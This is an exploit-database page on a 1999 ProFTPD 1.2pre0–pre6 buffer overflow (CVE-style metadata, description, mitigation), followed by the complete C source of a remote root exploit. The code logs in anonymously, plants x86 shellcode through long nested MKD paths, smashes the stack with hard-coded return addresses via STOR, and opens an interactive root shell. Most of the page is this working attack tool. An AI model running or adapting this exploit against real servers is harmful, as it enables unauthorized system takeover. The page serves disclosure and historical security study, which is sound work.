header-logo
Suggest Exploit
vendor:
ProFTPD
by:
babcia padlina ltd.
7.5
CVSS
HIGH
Buffer Overflow/Mkdir Overflow
120 (Buffer Copy without Checking Size of Input)
CWE
Product Name: ProFTPD
Affected Version From: 1.2pre0
Affected Version To: 1.2pre6
Patch Exists: YES
Related CWE: N/A
CPE: a:proftpd:proftpd:1.2pre0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux, Windows, Mac
1999

ProFTPD 1.2pre0-3 Remote Exploit

The vulnerability in 1.2pre1, 1.2pre3 and 1.2pre3 is a remotely exploitable buffer overflow, the result of a sprintf() in the log_xfer() routine in src/log.c. The vulnerability in 1.2pre4 is a mkdir overflow. The name of the created path can not exceed 255 chars. 1.2pre6 limits the command buffer size to 512 characters in src/main.c and modifies the fix from 1.2pre4.

Mitigation:

Upgrade to the latest version of ProFTPD, limit the command buffer size to 512 characters, and ensure that the name of the created path does not exceed 255 chars.
Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/612/info

The vulnerability in 1.2pre1, 1.2pre3 and 1.2pre3 is a remotely exploitable buffer overflow, the result of a sprintf() in the log_xfer() routine in src/log.c.
The vulnerability in 1.2pre4 is a mkdir overflow. The name of the created path can not exceed 255 chars.
1.2pre6 limits the command buffer size to 512 characters in src/main.c and modifies the fix from 1.2pre4. 

/*
* babcia padlina ltd. (poland, 17/08/99)
*
* your ultimate proftpd pre0-3 exploiting toolkit
*
* based on:
*               - adm-wuftpd by duke
*               - kombajn do czere�ni by Lam3rZ (thx for shellcode!)
*
* thx and greetz.
*/

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

#define MAXARGLEN       64
#define MAXLINE         1024
#define ANONL           "ftp"
#define ANONP           "mozilla@"
#define INCOM           "/incoming/"
#define FTPPORT         21
#define RET             0xbffff550
#define NOP             0x90
#define ALIGN           0
#define CONTENT         "y0u ar3 n0w 0wn3d!"
#define GREEN           "\033[1;32m"
#define RED             "\033[1;31m"
#define NORM            "\033[1;39m"
#define BOLD            "\E[1m"
#define UNBOLD          "\E[m"

char *av0;
struct sockaddr_in cli;
char sendbuf[MAXLINE];

#ifdef DEBUG
FILE *phile;
#endif

long getip(name)
char *name;
{
        struct hostent *hp;
        long ip;
        extern int h_errno;

        if ((ip=inet_addr(name))==-1)
        {
                if ((hp=gethostbyname(name))==NULL)
                {
                        fprintf(stderr, "gethostbyname(): %s\n", strerror(h_errno));
                        exit(1);
                }
                memcpy(&ip, (hp->h_addr), 4);
        }
        return ip;
}

int readline(sockfd, buf)
int sockfd;
char *buf;
{
        int done = 0;
        char *n = NULL, *p = NULL, localbuff[MAXLINE];

        while (!done)
        {
                if (!p)
                {

                        int count;

                        bzero(localbuff, MAXLINE);

                        if ((count = read(sockfd, localbuff, MAXLINE)) < 0)
                        {
                                (void)fprintf(stderr, "IO error.\n");
                                return -1;
                        }
//
#ifdef DEBUG
                        fprintf(phile, "Received: %s", localbuff);
#endif
//

                        localbuff[count] = 0;
                        p = localbuff;
                }

                n=(char *)strchr(p, '\r');

                if (n)
                {
                        *n = 0;
                        n += 2;
                        done = 1;
                }

                bzero(buf, MAXLINE);

                strncat(buf, p, MAXLINE);
                p = n;
        }
        return 0;
}

int eatthis(sockfd, line)
int sockfd;
char *line;
{
        do
        {
                bzero(line, MAXLINE);
                if (readline(sockfd, line) < 0) return -1;
        } while (line[3] != ' ');

        return (int)(line[0] - '0');
}

int connecttoftp(host)
char *host;
{
        int sockfd;

        bzero(&cli, sizeof(cli));
        cli.sin_family = AF_INET;
        cli.sin_addr.s_addr=getip(host);
        cli.sin_port = htons(FTPPORT);

//
#ifdef DEBUG
        fprintf(phile, "Connecting to %s.\n", host);
#endif
//

        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                perror("socket");
                return -1;
        }

        if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
        {
                perror("connect");
                return -1;
        }

//
#ifdef DEBUG
        fprintf(phile, "Connected to %s.\n", host);
#endif
//

        return sockfd;
}

int logintoftp(sockfd, login, passwd)
int sockfd;
char *login, *passwd;
{
        int result;
        char errbuf[MAXLINE];

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "USER %s\r\n", login);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 3)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "PASS %s\r\n", passwd);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        return 0;
}

int makedir(dir, sockfd)
char *dir;
int sockfd;
{
        char buf[MAXLINE], errbuf[MAXLINE], *p;
        int n, result;

        bzero(buf, MAXLINE);
        p = buf;
        for(n=0;n < strlen(dir);n++)
        {

                if(dir[n]=='\xff')
                {
                        *p='\xff';
                        p++;
                }
                *p=dir[n];
                p++;
        }

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "MKD %s\r\n", buf);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "CWD %s\r\n", buf);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        return 0;
}

int mkd(sockfd, cwd)
int sockfd;
char *cwd;
{

        char shellcode[]=
                "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
                "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
                "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
                "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
                "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
                "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
                "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
                "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
                "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
                "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
                "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67\x00";

        char buf1[MAXLINE], tmp[MAXLINE], *p, *q;

        if (makedir(cwd, sockfd) < 0) return -1;

        bzero(buf1, MAXLINE);

        memset(buf1, 0x90, 756);
        memcpy(buf1, cwd, strlen(cwd));

        p = &buf1[strlen(cwd)];
        q = &buf1[755];

        bzero(tmp, MAXLINE);

        while(p <= q)
        {
                strncpy(tmp, p, 100);
                if (makedir(tmp, sockfd) < 0) return -1;
                p+=100;
        }


        if (makedir(shellcode, sockfd) < 0) return -1;
        return 0;
}

int put(sockfd, offset, align)
int sockfd, offset, align;
{
        char buf2[MAXLINE], sendbuf[MAXLINE], tmp[MAXLINE], buf[MAXLINE], hostname[MAXLINE], errbuf[MAXLINE], *p, *q;
        int n, sock, nsock, port, i;
        struct in_addr in;
        int octet_in[4], result;
        char *oct;
        struct sockaddr_in yo;

        bzero(buf2, MAXLINE);
        memset(buf2, NOP, 100);

        for(i=4-ALIGN-align; i<96; i+=4)
                *(long *)&buf2[i] = RET + offset;

        p = &buf2[0];
        q = &buf2[99];

        bzero(tmp, MAXLINE);
        strncpy(tmp, p, strlen(buf2));

        port=getpid()+1024;

        bzero(&yo, sizeof(yo));
        yo.sin_family = AF_INET;
        yo.sin_port=htons(port);

        bzero(buf, MAXLINE);
        p=buf;
        for(n=0;n<strlen(tmp);n++)
        {
                if(tmp[n]=='\xff')
                {
                        *p='\xff';
                        p++;
                }
                *p=tmp[n];
                p++;
        }

        gethostname(hostname, MAXLINE);
        in.s_addr = getip(hostname);

        oct=(char *)strtok(inet_ntoa(in),".");
        octet_in[0]=atoi(oct);
        oct=(char *)strtok(NULL,".");
        octet_in[1]=atoi(oct);
        oct=(char *)strtok(NULL,".");
        octet_in[2]=atoi(oct);
        oct=(char *)strtok(NULL,".");
        octet_in[3]=atoi(oct);

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0) {
                perror("socket()");
                return -1;
        }

        if ((bind(sock, (struct sockaddr *) &yo, sizeof(struct sockaddr))) < 0)
        {
                perror("bind()");
                close(sock);
                return -1;
        }

        if (listen (sock,10) < 0)
        {
                perror("listen()");
                close(sock);
                return -1;
        }

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "STOR %s\r\n", buf);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        if ((nsock=accept(sock,(struct sockaddr *)&cli,(int *)sizeof(struct sockaddr))) < 0)
        {
                perror("accept()");
                close(sock);
                return -1;
        }

        write(nsock, CONTENT, sizeof(CONTENT));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", CONTENT);
#endif
//

        close(sock);
        close(nsock);

        return 0;
}

int sh(sockfd)
int sockfd;
{
        char buf[MAXLINE];
        int c;
        fd_set rf, drugi;

        FD_ZERO(&rf);
        FD_SET(0, &rf);
        FD_SET(sockfd, &rf);

        while (1)
        {
                bzero(buf, MAXLINE);
                memcpy (&drugi, &rf, sizeof(rf));
                select(sockfd+1, &drugi, NULL, NULL, NULL);
                if (FD_ISSET(0, &drugi))
                {
                        c = read(0, buf, MAXLINE);
                        send(sockfd, buf, c, 0x4);
                }

                if (FD_ISSET(sockfd, &drugi))
                {
                        c = read(sockfd, buf, MAXLINE);
                        if (c<0) return 0;
                        write(1,buf,c);
                }
        }
}

void usage(void)
{
        (void)fprintf(stderr, "usage: %s [-l login -p passwd] [-d dir] [-o offset] [-a align] host\n", av0);
        exit(1);
}

int main(argc, argv)
int argc;
char **argv;
{
        extern int optind, opterr;
        extern char *optarg;
        int ch, aflag, oflag, lflag, pflag, dflag, offset, align, sockfd;
        char login[MAXARGLEN], passwd[MAXARGLEN], cwd[MAXLINE+1];

        (void)fprintf(stderr, "\n%sbabcia padlina ltd. proudly presents:\nyour ultimate proftpd pre0-3 exploiting toolkit%s%s\n\n", GREEN, NORM, UNBOLD);

        if (strchr(argv[0], '/'))
                av0 = strrchr(argv[0], '/') + 1;
        else
                av0 = argv[0];

        opterr = aflag = oflag = lflag = pflag = dflag = 0;

        while ((ch = getopt(argc, argv, "l:p:d:o:a:")) != -1)
                switch((char)ch)
                {
                        case 'l':
                                lflag = 1;
                                strncpy(login, optarg, MAXARGLEN);
                                break;

                        case 'p':
                                pflag = 1;
                                strncpy(passwd, optarg, MAXARGLEN);
                                break;

                        case 'd':
                                dflag = 1;
                                strncpy(cwd, optarg, MAXARGLEN);
                                break;

                        case 'o':
                                oflag = 1;
                                offset = atoi(optarg);
                                break;

                        case 'a':
                                aflag = 1;
                                align = atoi(optarg);
                                break;

                        case '?':
                        default:
                                usage();
                }

        argc -= optind;
        argv += optind;

        if (argc != 1) usage();
        if (!lflag) strncpy(login, ANONL, MAXARGLEN);
        if (!pflag) strncpy(passwd, ANONP, MAXARGLEN);
        if (!dflag) sprintf(cwd, "%s%d", INCOM, getpid());
        if (!oflag) offset = 0;
        if (!aflag) align = 0;

//
#ifdef DEBUG
        phile = fopen("debug", "w");
#endif
//

        if ((sockfd = connecttoftp(*argv)) < 0)
        {
                (void)fprintf(stderr, "Connection to %s failed.\n", *argv);
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                exit(1);
        }

        (void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);

        if (logintoftp(sockfd, login, passwd) < 0)
        {
                (void)fprintf(stderr, "Logging in to %s (%s/%s) failed.\n", *argv, login, passwd);
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                exit(1);
        }

        (void)fprintf(stderr, "Logged in as %s/%s. Preparing shellcode in %s\n", login, passwd, cwd);

        if (mkd(sockfd, cwd) < 0)
        {
                (void)fprintf(stderr, "Unknown error while making directories.\n");
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                exit(1);
        }

        (void)fprintf(stderr, "RET: %x, align: %i. Smashing stack.\n", RET + offset, align);

        if (put(sockfd, offset, align) < 0)
        {
                (void)fprintf(stderr, "Unknown error while sending RETs.\n");
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                exit(1);
        }

        (void)fprintf(stderr, "Y0u are n0w r00t.\n");

        if (sh(sockfd) < 0)
        {
                (void)fprintf(stderr, "Connection unexpectly terminated.\n");
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                close(sockfd);
                exit(1);
        }
//
#ifdef DEBUG
        fclose(phile);
#endif
//
        exit(0);
}